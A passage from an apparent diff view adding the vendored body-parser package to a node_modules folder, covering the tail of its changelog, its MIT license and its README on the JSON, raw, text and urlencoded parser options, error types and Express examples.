1.4.3 / 2014-06-19
|
643 |
+
==================
|
644 |
+
|
645 |
+
* deps: [email protected]
|
646 |
+
- fix global variable leak
|
647 |
+
|
648 |
+
1.4.2 / 2014-06-19
|
649 |
+
==================
|
650 |
+
|
651 |
+
* deps: [email protected]
|
652 |
+
- improve type parsing
|
653 |
+
|
654 |
+
1.4.1 / 2014-06-19
|
655 |
+
==================
|
656 |
+
|
657 |
+
* fix urlencoded extended deprecation message
|
658 |
+
|
659 |
+
1.4.0 / 2014-06-19
|
660 |
+
==================
|
661 |
+
|
662 |
+
* add `text` parser
|
663 |
+
* add `raw` parser
|
664 |
+
* check accepted charset in content-type (accepts utf-8)
|
665 |
+
* check accepted encoding in content-encoding (accepts identity)
|
666 |
+
* deprecate `bodyParser()` middleware; use `.json()` and `.urlencoded()` as needed
|
667 |
+
* deprecate `urlencoded()` without provided `extended` option
|
668 |
+
* lazy-load urlencoded parsers
|
669 |
+
* parsers split into files for reduced mem usage
|
670 |
+
* support gzip and deflate bodies
|
671 |
+
- set `inflate: false` to turn off
|
672 |
+
* deps: [email protected]
|
673 |
+
- Support all encodings from `iconv-lite`
|
674 |
+
|
675 |
+
1.3.1 / 2014-06-11
|
676 |
+
==================
|
677 |
+
|
678 |
+
* deps: [email protected]
|
679 |
+
- Switch dependency from mime to [email protected]
|
680 |
+
|
681 |
+
1.3.0 / 2014-05-31
|
682 |
+
==================
|
683 |
+
|
684 |
+
* add `extended` option to urlencoded parser
|
685 |
+
|
686 |
+
1.2.2 / 2014-05-27
|
687 |
+
==================
|
688 |
+
|
689 |
+
* deps: [email protected]
|
690 |
+
- assert stream encoding on node.js 0.8
|
691 |
+
- assert stream encoding on node.js < 0.10.6
|
692 |
+
- deps: bytes@1
|
693 |
+
|
694 |
+
1.2.1 / 2014-05-26
|
695 |
+
==================
|
696 |
+
|
697 |
+
* invoke `next(err)` after request fully read
|
698 |
+
- prevents hung responses and socket hang ups
|
699 |
+
|
700 |
+
1.2.0 / 2014-05-11
|
701 |
+
==================
|
702 |
+
|
703 |
+
* add `verify` option
|
704 |
+
* deps: [email protected]
|
705 |
+
- support suffix matching
|
706 |
+
|
707 |
+
1.1.2 / 2014-05-11
|
708 |
+
==================
|
709 |
+
|
710 |
+
* improve json parser speed
|
711 |
+
|
712 |
+
1.1.1 / 2014-05-11
|
713 |
+
==================
|
714 |
+
|
715 |
+
* fix repeated limit parsing with every request
|
716 |
+
|
717 |
+
1.1.0 / 2014-05-10
|
718 |
+
==================
|
719 |
+
|
720 |
+
* add `type` option
|
721 |
+
* deps: pin for safety and consistency
|
722 |
+
|
723 |
+
1.0.2 / 2014-04-14
|
724 |
+
==================
|
725 |
+
|
726 |
+
* use `type-is` module
|
727 |
+
|
728 |
+
1.0.1 / 2014-03-20
|
729 |
+
==================
|
730 |
+
|
731 |
+
* lower default limits to 100kb
|
node_modules/body-parser/LICENSE
ADDED
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
(The MIT License)
|
2 |
+
|
3 |
+
Copyright (c) 2014 Jonathan Ong <[email protected]>
|
4 |
+
Copyright (c) 2014-2015 Douglas Christopher Wilson <[email protected]>
|
5 |
+
|
6 |
+
Permission is hereby granted, free of charge, to any person obtaining
|
7 |
+
a copy of this software and associated documentation files (the
|
8 |
+
'Software'), to deal in the Software without restriction, including
|
9 |
+
without limitation the rights to use, copy, modify, merge, publish,
|
10 |
+
distribute, sublicense, and/or sell copies of the Software, and to
|
11 |
+
permit persons to whom the Software is furnished to do so, subject to
|
12 |
+
the following conditions:
|
13 |
+
|
14 |
+
The above copyright notice and this permission notice shall be
|
15 |
+
included in all copies or substantial portions of the Software.
|
16 |
+
|
17 |
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
18 |
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
19 |
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
20 |
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
21 |
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
22 |
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
23 |
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
node_modules/body-parser/README.md
ADDED
@@ -0,0 +1,491 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# body-parser
|
2 |
+
|
3 |
+
[![NPM Version][npm-version-image]][npm-url]
|
4 |
+
[![NPM Downloads][npm-downloads-image]][npm-url]
|
5 |
+
[![Build Status][ci-image]][ci-url]
|
6 |
+
[![Test Coverage][coveralls-image]][coveralls-url]
|
7 |
+
[![OpenSSF Scorecard Badge][ossf-scorecard-badge]][ossf-scorecard-visualizer]
|
8 |
+
|
9 |
+
Node.js body parsing middleware.
|
10 |
+
|
11 |
+
Parse incoming request bodies in a middleware before your handlers, available
|
12 |
+
under the `req.body` property.
|
13 |
+
|
14 |
+
**Note** As `req.body`'s shape is based on user-controlled input, all
|
15 |
+
properties and values in this object are untrusted and should be validated
|
16 |
+
before trusting. For example, `req.body.foo.toString()` may fail in multiple
|
17 |
+
ways, for example the `foo` property may not be there or may not be a string,
|
18 |
+
and `toString` may not be a function and instead a string or other user input.
|
19 |
+
|
20 |
+
[Learn about the anatomy of an HTTP transaction in Node.js](https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/).
|
21 |
+
|
22 |
+
_This does not handle multipart bodies_, due to their complex and typically
|
23 |
+
large nature. For multipart bodies, you may be interested in the following
|
24 |
+
modules:
|
25 |
+
|
26 |
+
* [busboy](https://www.npmjs.org/package/busboy#readme) and
|
27 |
+
[connect-busboy](https://www.npmjs.org/package/connect-busboy#readme)
|
28 |
+
* [multiparty](https://www.npmjs.org/package/multiparty#readme) and
|
29 |
+
[connect-multiparty](https://www.npmjs.org/package/connect-multiparty#readme)
|
30 |
+
* [formidable](https://www.npmjs.org/package/formidable#readme)
|
31 |
+
* [multer](https://www.npmjs.org/package/multer#readme)
|
32 |
+
|
33 |
+
This module provides the following parsers:
|
34 |
+
|
35 |
+
* [JSON body parser](#bodyparserjsonoptions)
|
36 |
+
* [Raw body parser](#bodyparserrawoptions)
|
37 |
+
* [Text body parser](#bodyparsertextoptions)
|
38 |
+
* [URL-encoded form body parser](#bodyparserurlencodedoptions)
|
39 |
+
|
40 |
+
Other body parsers you might be interested in:
|
41 |
+
|
42 |
+
- [body](https://www.npmjs.org/package/body#readme)
|
43 |
+
- [co-body](https://www.npmjs.org/package/co-body#readme)
|
44 |
+
|
45 |
+
## Installation
|
46 |
+
|
47 |
+
```sh
|
48 |
+
$ npm install body-parser
|
49 |
+
```
|
50 |
+
|
51 |
+
## API
|
52 |
+
|
53 |
+
```js
|
54 |
+
const bodyParser = require('body-parser')
|
55 |
+
```
|
56 |
+
|
57 |
+
The `bodyParser` object exposes various factories to create middlewares. All
|
58 |
+
middlewares will populate the `req.body` property with the parsed body when
|
59 |
+
the `Content-Type` request header matches the `type` option.
|
60 |
+
|
61 |
+
The various errors returned by this module are described in the
|
62 |
+
[errors section](#errors).
|
63 |
+
|
64 |
+
### bodyParser.json([options])
|
65 |
+
|
66 |
+
Returns middleware that only parses `json` and only looks at requests where
|
67 |
+
the `Content-Type` header matches the `type` option. This parser accepts any
|
68 |
+
Unicode encoding of the body and supports automatic inflation of `gzip`,
|
69 |
+
`br` (brotli) and `deflate` encodings.
|
70 |
+
|
71 |
+
A new `body` object containing the parsed data is populated on the `request`
|
72 |
+
object after the middleware (i.e. `req.body`).
|
73 |
+
|
74 |
+
#### Options
|
75 |
+
|
76 |
+
The `json` function takes an optional `options` object that may contain any of
|
77 |
+
the following keys:
|
78 |
+
|
79 |
+
##### inflate
|
80 |
+
|
81 |
+
When set to `true`, then deflated (compressed) bodies will be inflated; when
|
82 |
+
`false`, deflated bodies are rejected. Defaults to `true`.
|
83 |
+
|
84 |
+
##### limit
|
85 |
+
|
86 |
+
Controls the maximum request body size. If this is a number, then the value
|
87 |
+
specifies the number of bytes; if it is a string, the value is passed to the
|
88 |
+
[bytes](https://www.npmjs.com/package/bytes) library for parsing. Defaults
|
89 |
+
to `'100kb'`.
|
90 |
+
|
91 |
+
##### reviver
|
92 |
+
|
93 |
+
The `reviver` option is passed directly to `JSON.parse` as the second
|
94 |
+
argument. You can find more information on this argument
|
95 |
+
[in the MDN documentation about JSON.parse](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#Example.3A_Using_the_reviver_parameter).
|
96 |
+
|
97 |
+
##### strict
|
98 |
+
|
99 |
+
When set to `true`, will only accept arrays and objects; when `false` will
|
100 |
+
accept anything `JSON.parse` accepts. Defaults to `true`.
|
101 |
+
|
102 |
+
##### type
|
103 |
+
|
104 |
+
The `type` option is used to determine what media type the middleware will
|
105 |
+
parse. This option can be a string, array of strings, or a function. If not a
|
106 |
+
function, `type` option is passed directly to the
|
107 |
+
[type-is](https://www.npmjs.org/package/type-is#readme) library and this can
|
108 |
+
be an extension name (like `json`), a mime type (like `application/json`), or
|
109 |
+
a mime type with a wildcard (like `*/*` or `*/json`). If a function, the `type`
|
110 |
+
option is called as `fn(req)` and the request is parsed if it returns a truthy
|
111 |
+
value. Defaults to `application/json`.
|
112 |
+
|
113 |
+
##### verify
|
114 |
+
|
115 |
+
The `verify` option, if supplied, is called as `verify(req, res, buf, encoding)`,
|
116 |
+
where `buf` is a `Buffer` of the raw request body and `encoding` is the
|
117 |
+
encoding of the request. The parsing can be aborted by throwing an error.
|
118 |
+
|
119 |
+
### bodyParser.raw([options])
|
120 |
+
|
121 |
+
Returns middleware that parses all bodies as a `Buffer` and only looks at
|
122 |
+
requests where the `Content-Type` header matches the `type` option. This
|
123 |
+
parser supports automatic inflation of `gzip`, `br` (brotli) and `deflate`
|
124 |
+
encodings.
|
125 |
+
|
126 |
+
A new `body` object containing the parsed data is populated on the `request`
|
127 |
+
object after the middleware (i.e. `req.body`). This will be a `Buffer` object
|
128 |
+
of the body.
|
129 |
+
|
130 |
+
#### Options
|
131 |
+
|
132 |
+
The `raw` function takes an optional `options` object that may contain any of
|
133 |
+
the following keys:
|
134 |
+
|
135 |
+
##### inflate
|
136 |
+
|
137 |
+
When set to `true`, then deflated (compressed) bodies will be inflated; when
|
138 |
+
`false`, deflated bodies are rejected. Defaults to `true`.
|
139 |
+
|
140 |
+
##### limit
|
141 |
+
|
142 |
+
Controls the maximum request body size. If this is a number, then the value
|
143 |
+
specifies the number of bytes; if it is a string, the value is passed to the
|
144 |
+
[bytes](https://www.npmjs.com/package/bytes) library for parsing. Defaults
|
145 |
+
to `'100kb'`.
|
146 |
+
|
147 |
+
##### type
|
148 |
+
|
149 |
+
The `type` option is used to determine what media type the middleware will
|
150 |
+
parse. This option can be a string, array of strings, or a function.
|
151 |
+
If not a function, `type` option is passed directly to the
|
152 |
+
[type-is](https://www.npmjs.org/package/type-is#readme) library and this
|
153 |
+
can be an extension name (like `bin`), a mime type (like
|
154 |
+
`application/octet-stream`), or a mime type with a wildcard (like `*/*` or
|
155 |
+
`application/*`). If a function, the `type` option is called as `fn(req)`
|
156 |
+
and the request is parsed if it returns a truthy value. Defaults to
|
157 |
+
`application/octet-stream`.
|
158 |
+
|
159 |
+
##### verify
|
160 |
+
|
161 |
+
The `verify` option, if supplied, is called as `verify(req, res, buf, encoding)`,
|
162 |
+
where `buf` is a `Buffer` of the raw request body and `encoding` is the
|
163 |
+
encoding of the request. The parsing can be aborted by throwing an error.
|
164 |
+
|
165 |
+
### bodyParser.text([options])
|
166 |
+
|
167 |
+
Returns middleware that parses all bodies as a string and only looks at
|
168 |
+
requests where the `Content-Type` header matches the `type` option. This
|
169 |
+
parser supports automatic inflation of `gzip`, `br` (brotli) and `deflate`
|
170 |
+
encodings.
|
171 |
+
|
172 |
+
A new `body` string containing the parsed data is populated on the `request`
|
173 |
+
object after the middleware (i.e. `req.body`). This will be a string of the
|
174 |
+
body.
|
175 |
+
|
176 |
+
#### Options
|
177 |
+
|
178 |
+
The `text` function takes an optional `options` object that may contain any of
|
179 |
+
the following keys:
|
180 |
+
|
181 |
+
##### defaultCharset
|
182 |
+
|
183 |
+
Specify the default character set for the text content if the charset is not
|
184 |
+
specified in the `Content-Type` header of the request. Defaults to `utf-8`.
|
185 |
+
|
186 |
+
##### inflate
|
187 |
+
|
188 |
+
When set to `true`, then deflated (compressed) bodies will be inflated; when
|
189 |
+
`false`, deflated bodies are rejected. Defaults to `true`.
|
190 |
+
|
191 |
+
##### limit
|
192 |
+
|
193 |
+
Controls the maximum request body size. If this is a number, then the value
|
194 |
+
specifies the number of bytes; if it is a string, the value is passed to the
|
195 |
+
[bytes](https://www.npmjs.com/package/bytes) library for parsing. Defaults
|
196 |
+
to `'100kb'`.
|
197 |
+
|
198 |
+
##### type
|
199 |
+
|
200 |
+
The `type` option is used to determine what media type the middleware will
|
201 |
+
parse. This option can be a string, array of strings, or a function. If not
|
202 |
+
a function, `type` option is passed directly to the
|
203 |
+
[type-is](https://www.npmjs.org/package/type-is#readme) library and this can
|
204 |
+
be an extension name (like `txt`), a mime type (like `text/plain`), or a mime
|
205 |
+
type with a wildcard (like `*/*` or `text/*`). If a function, the `type`
|
206 |
+
option is called as `fn(req)` and the request is parsed if it returns a
|
207 |
+
truthy value. Defaults to `text/plain`.
|
208 |
+
|
209 |
+
##### verify
|
210 |
+
|
211 |
+
The `verify` option, if supplied, is called as `verify(req, res, buf, encoding)`,
|
212 |
+
where `buf` is a `Buffer` of the raw request body and `encoding` is the
|
213 |
+
encoding of the request. The parsing can be aborted by throwing an error.
|
214 |
+
|
215 |
+
### bodyParser.urlencoded([options])
|
216 |
+
|
217 |
+
Returns middleware that only parses `urlencoded` bodies and only looks at
|
218 |
+
requests where the `Content-Type` header matches the `type` option. This
|
219 |
+
parser accepts only UTF-8 encoding of the body and supports automatic
|
220 |
+
inflation of `gzip`, `br` (brotli) and `deflate` encodings.
|
221 |
+
|
222 |
+
A new `body` object containing the parsed data is populated on the `request`
|
223 |
+
object after the middleware (i.e. `req.body`). This object will contain
|
224 |
+
key-value pairs, where the value can be a string or array (when `extended` is
|
225 |
+
`false`), or any type (when `extended` is `true`).
|
226 |
+
|
227 |
+
#### Options
|
228 |
+
|
229 |
+
The `urlencoded` function takes an optional `options` object that may contain
|
230 |
+
any of the following keys:
|
231 |
+
|
232 |
+
##### extended
|
233 |
+
|
234 |
+
The "extended" syntax allows for rich objects and arrays to be encoded into the
|
235 |
+
URL-encoded format, allowing for a JSON-like experience with URL-encoded. For
|
236 |
+
more information, please [see the qs
|
237 |
+
library](https://www.npmjs.org/package/qs#readme).
|
238 |
+
|
239 |
+
Defaults to `false`.
|
240 |
+
|
241 |
+
##### inflate
|
242 |
+
|
243 |
+
When set to `true`, then deflated (compressed) bodies will be inflated; when
|
244 |
+
`false`, deflated bodies are rejected. Defaults to `true`.
|
245 |
+
|
246 |
+
##### limit
|
247 |
+
|
248 |
+
Controls the maximum request body size. If this is a number, then the value
|
249 |
+
specifies the number of bytes; if it is a string, the value is passed to the
|
250 |
+
[bytes](https://www.npmjs.com/package/bytes) library for parsing. Defaults
|
251 |
+
to `'100kb'`.
|
252 |
+
|
253 |
+
##### parameterLimit
|
254 |
+
|
255 |
+
The `parameterLimit` option controls the maximum number of parameters that
|
256 |
+
are allowed in the URL-encoded data. If a request contains more parameters
|
257 |
+
than this value, a 413 will be returned to the client. Defaults to `1000`.
|
258 |
+
|
259 |
+
##### type
|
260 |
+
|
261 |
+
The `type` option is used to determine what media type the middleware will
|
262 |
+
parse. This option can be a string, array of strings, or a function. If not
|
263 |
+
a function, `type` option is passed directly to the
|
264 |
+
[type-is](https://www.npmjs.org/package/type-is#readme) library and this can
|
265 |
+
be an extension name (like `urlencoded`), a mime type (like
|
266 |
+
`application/x-www-form-urlencoded`), or a mime type with a wildcard (like
|
267 |
+
`*/x-www-form-urlencoded`). If a function, the `type` option is called as
|
268 |
+
`fn(req)` and the request is parsed if it returns a truthy value. Defaults
|
269 |
+
to `application/x-www-form-urlencoded`.
|
270 |
+
|
271 |
+
##### verify
|
272 |
+
|
273 |
+
The `verify` option, if supplied, is called as `verify(req, res, buf, encoding)`,
|
274 |
+
where `buf` is a `Buffer` of the raw request body and `encoding` is the
|
275 |
+
encoding of the request. The parsing can be aborted by throwing an error.
|
276 |
+
|
277 |
+
##### defaultCharset
|
278 |
+
|
279 |
+
The default charset to parse as, if not specified in content-type. Must be
|
280 |
+
either `utf-8` or `iso-8859-1`. Defaults to `utf-8`.
|
281 |
+
|
282 |
+
##### charsetSentinel
|
283 |
+
|
284 |
+
Whether to let the value of the `utf8` parameter take precedence as the charset
|
285 |
+
selector. It requires the form to contain a parameter named `utf8` with a value
|
286 |
+
of `✓`. Defaults to `false`.
|
287 |
+
|
288 |
+
##### interpretNumericEntities
|
289 |
+
|
290 |
+
Whether to decode numeric entities such as `☺` when parsing an iso-8859-1
|
291 |
+
form. Defaults to `false`.
|
292 |
+
|
293 |
+
|
294 |
+
#### depth
|
295 |
+
|
296 |
+
The `depth` option is used to configure the maximum depth of the `qs` library when `extended` is `true`. This allows you to limit the amount of keys that are parsed and can be useful to prevent certain types of abuse. Defaults to `32`. It is recommended to keep this value as low as possible.
|
297 |
+
|
298 |
+
## Errors
|
299 |
+
|
300 |
+
The middlewares provided by this module create errors using the
|
301 |
+
[`http-errors` module](https://www.npmjs.com/package/http-errors). The errors
|
302 |
+
will typically have a `status`/`statusCode` property that contains the suggested
|
303 |
+
HTTP response code, an `expose` property to determine if the `message` property
|
304 |
+
should be displayed to the client, a `type` property to determine the type of
|
305 |
+
error without matching against the `message`, and a `body` property containing
|
306 |
+
the read body, if available.
|
307 |
+
|
308 |
+
The following are the common errors created, though any error can come through
|
309 |
+
for various reasons.
|
310 |
+
|
311 |
+
### content encoding unsupported
|
312 |
+
|
313 |
+
This error will occur when the request had a `Content-Encoding` header that
|
314 |
+
contained an encoding but the "inflation" option was set to `false`. The
|
315 |
+
`status` property is set to `415`, the `type` property is set to
|
316 |
+
`'encoding.unsupported'`, and the `charset` property will be set to the
|
317 |
+
encoding that is unsupported.
|
318 |
+
|
319 |
+
### entity parse failed
|
320 |
+
|
321 |
+
This error will occur when the request contained an entity that could not be
|
322 |
+
parsed by the middleware. The `status` property is set to `400`, the `type`
|
323 |
+
property is set to `'entity.parse.failed'`, and the `body` property is set to
|
324 |
+
the entity value that failed parsing.
|
325 |
+
|
326 |
+
### entity verify failed
|
327 |
+
|
328 |
+
This error will occur when the request contained an entity that could not be
|
329 |
+
failed verification by the defined `verify` option. The `status` property is
|
330 |
+
set to `403`, the `type` property is set to `'entity.verify.failed'`, and the
|
331 |
+
`body` property is set to the entity value that failed verification.
|
332 |
+
|
333 |
+
### request aborted
|
334 |
+
|
335 |
+
This error will occur when the request is aborted by the client before reading
|
336 |
+
the body has finished. The `received` property will be set to the number of
|
337 |
+
bytes received before the request was aborted and the `expected` property is
|
338 |
+
set to the number of expected bytes. The `status` property is set to `400`
|
339 |
+
and `type` property is set to `'request.aborted'`.
|
340 |
+
|
341 |
+
### request entity too large
|
342 |
+
|
343 |
+
This error will occur when the request body's size is larger than the "limit"
|
344 |
+
option. The `limit` property will be set to the byte limit and the `length`
|
345 |
+
property will be set to the request body's length. The `status` property is
|
346 |
+
set to `413` and the `type` property is set to `'entity.too.large'`.
|
347 |
+
|
348 |
+
### request size did not match content length
|
349 |
+
|
350 |
+
This error will occur when the request's length did not match the length from
|
351 |
+
the `Content-Length` header. This typically occurs when the request is malformed,
|
352 |
+
typically when the `Content-Length` header was calculated based on characters
|
353 |
+
instead of bytes. The `status` property is set to `400` and the `type` property
|
354 |
+
is set to `'request.size.invalid'`.
|
355 |
+
|
356 |
+
### stream encoding should not be set
|
357 |
+
|
358 |
+
This error will occur when something called the `req.setEncoding` method prior
|
359 |
+
to this middleware. This module operates directly on bytes only and you cannot
|
360 |
+
call `req.setEncoding` when using this module. The `status` property is set to
|
361 |
+
`500` and the `type` property is set to `'stream.encoding.set'`.
|
362 |
+
|
363 |
+
### stream is not readable
|
364 |
+
|
365 |
+
This error will occur when the request is no longer readable when this middleware
|
366 |
+
attempts to read it. This typically means something other than a middleware from
|
367 |
+
this module read the request body already and the middleware was also configured to
|
368 |
+
read the same request. The `status` property is set to `500` and the `type`
|
369 |
+
property is set to `'stream.not.readable'`.
|
370 |
+
|
371 |
+
### too many parameters
|
372 |
+
|
373 |
+
This error will occur when the content of the request exceeds the configured
|
374 |
+
`parameterLimit` for the `urlencoded` parser. The `status` property is set to
|
375 |
+
`413` and the `type` property is set to `'parameters.too.many'`.
|
376 |
+
|
377 |
+
### unsupported charset "BOGUS"
|
378 |
+
|
379 |
+
This error will occur when the request had a charset parameter in the
|
380 |
+
`Content-Type` header, but the `iconv-lite` module does not support it OR the
|
381 |
+
parser does not support it. The charset is contained in the message as well
|
382 |
+
as in the `charset` property. The `status` property is set to `415`, the
|
383 |
+
`type` property is set to `'charset.unsupported'`, and the `charset` property
|
384 |
+
is set to the charset that is unsupported.
|
385 |
+
|
386 |
+
### unsupported content encoding "bogus"
|
387 |
+
|
388 |
+
This error will occur when the request had a `Content-Encoding` header that
|
389 |
+
contained an unsupported encoding. The encoding is contained in the message
|
390 |
+
as well as in the `encoding` property. The `status` property is set to `415`,
|
391 |
+
the `type` property is set to `'encoding.unsupported'`, and the `encoding`
|
392 |
+
property is set to the encoding that is unsupported.
|
393 |
+
|
394 |
+
### The input exceeded the depth
|
395 |
+
|
396 |
+
This error occurs when using `bodyParser.urlencoded` with the `extended` property set to `true` and the input exceeds the configured `depth` option. The `status` property is set to `400`. It is recommended to review the `depth` option and evaluate if it requires a higher value. When the `depth` option is set to `32` (default value), the error will not be thrown.
|
397 |
+
|
398 |
+
## Examples
|
399 |
+
|
400 |
+
### Express/Connect top-level generic
|
401 |
+
|
402 |
+
This example demonstrates adding a generic JSON and URL-encoded parser as a
|
403 |
+
top-level middleware, which will parse the bodies of all incoming requests.
|
404 |
+
This is the simplest setup.
|
405 |
+
|
406 |
+
```js
|
407 |
+
const express = require('express')
|
408 |
+
const bodyParser = require('body-parser')
|
409 |
+
|
410 |
+
const app = express()
|
411 |
+
|
412 |
+
// parse application/x-www-form-urlencoded
|
413 |
+
app.use(bodyParser.urlencoded())
|
414 |
+
|
415 |
+
// parse application/json
|
416 |
+
app.use(bodyParser.json())
|
417 |
+
|
418 |
+
app.use(function (req, res) {
|
419 |
+
res.setHeader('Content-Type', 'text/plain')
|
420 |
+
res.write('you posted:\n')
|
421 |
+
res.end(String(JSON.stringify(req.body, null, 2)))
|
422 |
+
})
|
423 |
+
```
|
424 |
+
|
425 |
+
### Express route-specific
|
426 |
+
|
427 |
+
This example demonstrates adding body parsers specifically to the routes that
|
428 |
+
need them. In general, this is the most recommended way to use body-parser with
|
429 |
+
Express.
|
430 |
+
|
431 |
+
```js
|
432 |
+
const express = require('express')
|
433 |
+
const bodyParser = require('body-parser')
|
434 |
+
|
435 |
+
const app = express()
|
436 |
+
|
437 |
+
// create application/json parser
|
438 |
+
const jsonParser = bodyParser.json()
|
439 |
+
|
440 |
+
// create application/x-www-form-urlencoded parser
|
441 |
+
const urlencodedParser = bodyParser.urlencoded()
|
442 |
+
|
443 |
+
// POST /login gets urlencoded bodies
|
444 |
+
app.post('/login', urlencodedParser, function (req, res) {
|
445 |
+
if (!req.body || !req.body.username) res.sendStatus(400)
|
446 |
+
res.send('welcome, ' + req.body.username)
|
447 |
+
})
|
448 |
+
|
449 |
+
// POST /api/users gets JSON bodies
|
450 |
+
app.post('/api/users', jsonParser, function (req, res) {
|
451 |
+
if (!req.body) res.sendStatus(400)
|
452 |
+
// create user in req.body
|
453 |
+
})
|
454 |
+
```
|
455 |
+
|
456 |
+
### Change accepted type for parsers
|
457 |
+
|
458 |
+
All the parsers accept a `type` option which allows you to change the
|
459 |
+
`Content-Type` that the middleware will parse.
|
460 |
+
|
461 |
+
```js
|
462 |
+
const express = require('express')
|
463 |
+
const bodyParser = require('body-parser')
|
464 |
+
|
465 |
+
const app = express()
|
466 |
+
|
467 |
+
// parse various different custom JSON types as JSON
|
468 |
+
app.use(bodyParser.json({ type: 'application/*+json' }))
|
469 |
+
|
470 |
+
// parse some custom thing into a Buffer
|
471 |
+
app.use(bodyParser.raw({ type: 'application/vnd.custom-type' }))
|
472 |
+
|
473 |
+
// parse an HTML body into a string
|
474 |
+
app.use(bodyParser.text({ type: 'text/html' }))
|
475 |
+
```
|
476 |
+
|
477 |
+
## License
|
478 |
+
|
479 |
+
[MIT](LICENSE)
|
480 |
+
|
481 |
+
[ci-image]: https://badgen.net/github/checks/expressjs/body-parser/master?label=ci
|
482 |
+
[ci-url]: https://github.com/expressjs/body-parser/actions/workflows/ci.yml
|
483 |
+
[coveralls-image]: https://badgen.net/coveralls/c/github/expressjs/body-parser/master
|
484 |
+
[coveralls-url]: https://coveralls.io/r/expressjs/body-parser?branch=master
|
485 |
+
[node-version-image]: https://badgen.net/npm/node/body-parser
|
486 |
+
[node-version-url]: https://nodejs.org/en/download
|
487 |
+
[npm-downloads-image]: https://badgen.net/npm/dm/body-parser
|
488 |
+
[npm-url]: https://npmjs.org/package/body-parser
|
489 |
+
[npm-version-image]: https://badgen.net/npm/v/body-parser
|
490 |
+
[ossf-scorecard-badge]: https://api.scorecard.dev/projects/github.com/expressjs/body-parser/badge
|
491 |
+
